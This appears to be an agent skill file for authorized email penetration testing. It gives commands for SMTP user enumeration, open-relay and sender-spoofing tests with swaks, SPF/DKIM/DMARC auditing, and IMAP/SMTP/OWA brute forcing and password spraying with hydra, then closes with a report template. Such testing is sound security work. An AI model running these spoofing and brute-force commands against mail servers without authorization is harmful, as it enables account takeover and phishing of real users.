pentest-email

name	pentest-email
description	Email security testing — SMTP relay, open relay detection, user enumeration via VRFY/RCPT/EXPN, SPF/DKIM/DMARC auditing, email spoofing tests, IMAP/POP3 brute force, phishing simulation setup, and mail server misconfiguration for authorized engagements.
triggers	["email","smtp","SMTP","mail server","phishing","email spoofing","email security","MX record","SPF","DKIM","DMARC","open relay","swaks","email enumeration","email brute","IMAP","POP3","email testing"]

Email Penetration Testing Skill

Mail Service Ports Reference

Port	Service	Common Vulnerabilities
25	SMTP	Open relay, VRFY/EXPN user enum
465	SMTPS	Deprecated SSL — cipher downgrade
587	Submission	Weak auth, credential brute force
143	IMAP	Credential brute, cleartext auth (no STARTTLS)
993	IMAPS	TLS cipher issues
110	POP3	Credential brute, cleartext auth
995	POP3S	TLS cipher issues

Phase 1 — Mail Server Discovery

# Install tools
apt-get install -y swaks smtp-user-enum

# Find MX records (find mail servers)
dig MX <target_domain> +short
dig MX <domain> | sort -n | awk '{print $2}'

# Port scan mail servers
nmap -sV -sC -T4 -p 25,465,587,143,993,110,995 <mail_server_ip> \
  -oN /root/kali-workspace/nmap-mail.txt

# Enumerate SMTP capabilities
nmap --script smtp-commands -p 25,587 <mail_server>
nmap --script smtp-open-relay,smtp-enum-users,smtp-ntlm-info -p 25,587 <mail_server>

# Manual SMTP banner + commands check
nc -nv <mail_server> 25
# Type: EHLO test.com → lists supported extensions
# VRFY user@domain — user exists check (250=exists, 550=no)
# EXPN listname — expand mailing list

Phase 2 — Email User Enumeration

# VRFY method — direct account verification (most direct)
smtp-user-enum -M VRFY \
  -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -t <smtp_server> -p 25 \
  -o /root/kali-workspace/smtp-enum-vrfy.txt

# RCPT TO method — most common, works when VRFY disabled
smtp-user-enum -M RCPT \
  -U /root/kali-workspace/generated-emails.txt \
  -D <target_domain> \
  -t <smtp_server> -p 25 \
  -o /root/kali-workspace/smtp-enum-rcpt.txt

# EXPN method — expand mailing list names
smtp-user-enum -M EXPN \
  -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -t <smtp_server> -p 25 \
  -o /root/kali-workspace/smtp-enum-expn.txt

# Manual enumeration via netcat
nc -nv <smtp_server> 25
EHLO attacker.com
VRFY root@<target_domain>       # 250 = exists, 550/501 = doesn't exist
RCPT TO:<user@target_domain>
QUIT

# Generate email permutations from known names then verify
python3 -c "
names = ['John Smith', 'Jane Doe']
domain = 'target.com'
for name in names:
    f, l = name.lower().split()
    print(f'{f}.{l}@{domain}')
    print(f'{f[0]}{l}@{domain}')
    print(f'{l}.{f}@{domain}')
" > /root/kali-workspace/email-perms.txt
smtp-user-enum -M RCPT -U /root/kali-workspace/email-perms.txt -t <smtp_server>

Phase 3 — SMTP Relay & Spoofing Tests

# Test 1: Open relay (send from external TO external — should be blocked)
swaks --server <smtp_ip> \
  --from [e-mail] \
  --to [e-mail] \
  --header "Subject: Open Relay Test" \
  --body "Testing for open relay — authorized security test"
# If delivered: CRITICAL — server usable for sending spam as any sender

# Test 2: Domain spoofing (spoof target's own domain — SPF bypass test)
swaks --server <smtp_ip> \
  --from ceo@<target_domain.com> \
  --to <your_test_email> \
  --header "Subject: Security Audit — Email Spoofing Test" \
  --body "If received, email spoofing is possible on this domain."
# If delivered to inbox: CRITICAL (no DMARC enforcement)
# If in spam: MEDIUM (DMARC p=quarantine or SPF softfail)

# Test 3: Authenticated relay with stolen/weak credentials
swaks --server <smtp_ip> --port 587 --tls \
  --auth LOGIN \
  --auth-user <username> --auth-password <password> \
  --to <recipient> \
  --from <[e-mail]> \
  --header "Subject: Auth Relay Test"

# Test 4: Display name spoofing (social engineering - no SPF bypass needed)
swaks --server <smtp_ip> \
  --from "CEO Real Name <[e-mail]>" \
  --to <target_recipient>

# Batch spoofing test (check multiple spoofing variations)
for domain in <target.com> example-partner.com example-bank.com; do
  echo "Testing spoof from: $domain"
  swaks --server <smtp_ip> --from forged@$domain --to [e-mail] \
    --header "Subject: Spoof test from $domain" --quit-after DATA 2>&1 | tail -3
done

Phase 4 — SPF / DKIM / DMARC Audit

# Full DNS record audit
TARGET="target.com"

echo "=== SPF ===" && dig TXT $TARGET | grep "v=spf1"
# v=spf1 include:... ~all  → softfail (emails may reach inbox even if spoofed)
# v=spf1 include:... -all  → hardfail (strongest)
# Missing SPF = spoofing likely works

echo "=== DMARC ===" && dig TXT _dmarc.$TARGET
# p=none = monitor only (spoofing still works!)
# p=quarantine = spam folder
# p=reject = blocked — most secure
# Missing DMARC = no enforcement

echo "=== DKIM (common selectors) ==="
for sel in default google mail smtp selector1 selector2 k1 dkim; do
  result=$(dig TXT ${sel}._domainkey.$TARGET +short)
  [[ -n "$result" ]] && echo "Found: $sel → $result"
done
# Missing DKIM = emails can be forged without cryptographic signature

# SSL/TLS on mail ports
sslscan --no-colour <mail_server>:587
sslscan --no-colour <mail_server>:993
nmap --script ssl-enum-ciphers -p 465,587,993,995 <mail_server>

# Comprehensive mail security check
for record in "" "_dmarc" "default._domainkey" "mail._domainkey" "google._domainkey"; do
  echo "--- ${record}.${TARGET} ---"
  dig TXT "${record}.${TARGET}" +short
done

Phase 5 — Email Account Brute Force

# IMAP brute (email inbox access)
hydra -f -L emails.txt -P /usr/share/wordlists/rockyou.txt \
  imap://<mail_server> -t 4 -o /root/kali-workspace/hydra-imap.txt

# POP3 brute
hydra -f -L emails.txt -P /usr/share/wordlists/rockyou.txt \
  pop3://<mail_server> -t 4

# SMTP auth brute (port 587)
hydra -f -L emails.txt -P passwords.txt \
  smtp://<mail_server>:587 -t 4

# Medusa SMTP
medusa -h <mail_server> -U emails.txt -P passwords.txt -M smtp -t 4 -f

# OWA / Exchange brute (Microsoft)
hydra -f -L emails.txt -P passwords.txt \
  https-post-form://<owa_url>/owa/auth/oauthtoken.aspx:username=^USER^&password=^PASS^:Authentication

# NetExec for Exchange/OWA
netexec smtp <mail_server> -u users.txt -p passwords.txt --continue-on-success

# Spray single password across all found accounts (avoid lockout)
hydra -f -L emails.txt -p "Autumn2024!" smtp://<mail_server>:587 -t 2

Phase 6 — Email Header Analysis

# Extract routing + auth headers from a raw email file
cat email.eml | grep -E "^Received:|^X-Originating-IP:|^From:|^Reply-To:|^Return-Path:"
cat email.eml | grep -E "DKIM-Signature|Received-SPF|Authentication-Results"

# Extract originating IPs from Received headers
cat email.eml | grep "^Received:" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'

# Decode base64-encoded email body
cat email.eml | grep -A 1000 "Content-Transfer-Encoding: base64" | \
  grep -v "Content-Transfer-Encoding" | base64 -d 2>/dev/null

Phase 7 — Reporting Template

# Email Security Assessment — <Domain>

## Mail Server Configuration

| Server          | IP      | Ports Open   | TLS Version |
| --------------- | ------- | ------------ | ----------- |
| mail.target.com | x.x.x.x | 25, 587, 993 | TLS 1.2+    |

## SPF: ⚠ SOFTFAIL / ✓ PASS / ✗ MISSING

Record: v=spf1 include:\_spf.google.com ~all
Risk: Softfail (~all) — spoofed emails may still reach inbox

## DKIM: ✗ MISSING / ✓ CONFIGURED

Selector: default.\_domainkey — Not found
Risk: Emails can be forged without cryptographic signature

## DMARC: ✗ MISSING / ⚠ NONE / ✓ REJECT

Record: v=DMARC1; p=none; rua=mailto:[e-mail]
Risk: p=none = report only — spoofing not blocked/rejected

## Open Relay: ✗ VULNERABLE / ✓ CLOSED

Evidence: swaks sent [e-mail] → [e-mail] — DELIVERED
Impact: CRITICAL — server can be used to send spam/phishing as ANY sender

## User Enumeration: ENABLED / DISABLED

Technique: RCPT TO accepted 47 valid, rejected 12 invalid
Evidence: smtp-user-enum output (Appendix A)
Found accounts: [e-mail], [e-mail], [e-mail]

## TLS Audit

- Port 587: TLS 1.2 ✓ — TLS 1.0/1.1 supported ⚠ (should be disabled)

## Recommendations

1. Set DMARC p=reject (critical — currently p=none provides no protection)
2. Close open relay: restrict SMTP to authenticated users only
3. Disable VRFY and EXPN SMTP commands
4. Disable TLS 1.0 and 1.1 on all mail ports
5. Implement account lockout after 5 failed login attempts

ATT&CK Mapping

Technique	ID	Method
Phishing	T1566	swaks spoofing + open relay
Email Addresses	T1589.002	smtp-user-enum VRFY/RCPT
Account Discovery	T1087.003	EXPN enumeration
Brute Force	T1110.001	hydra IMAP/SMTP
Valid Accounts	T1078	Successful credential brute
Spearphishing	T1566.001	Authenticated email spoofing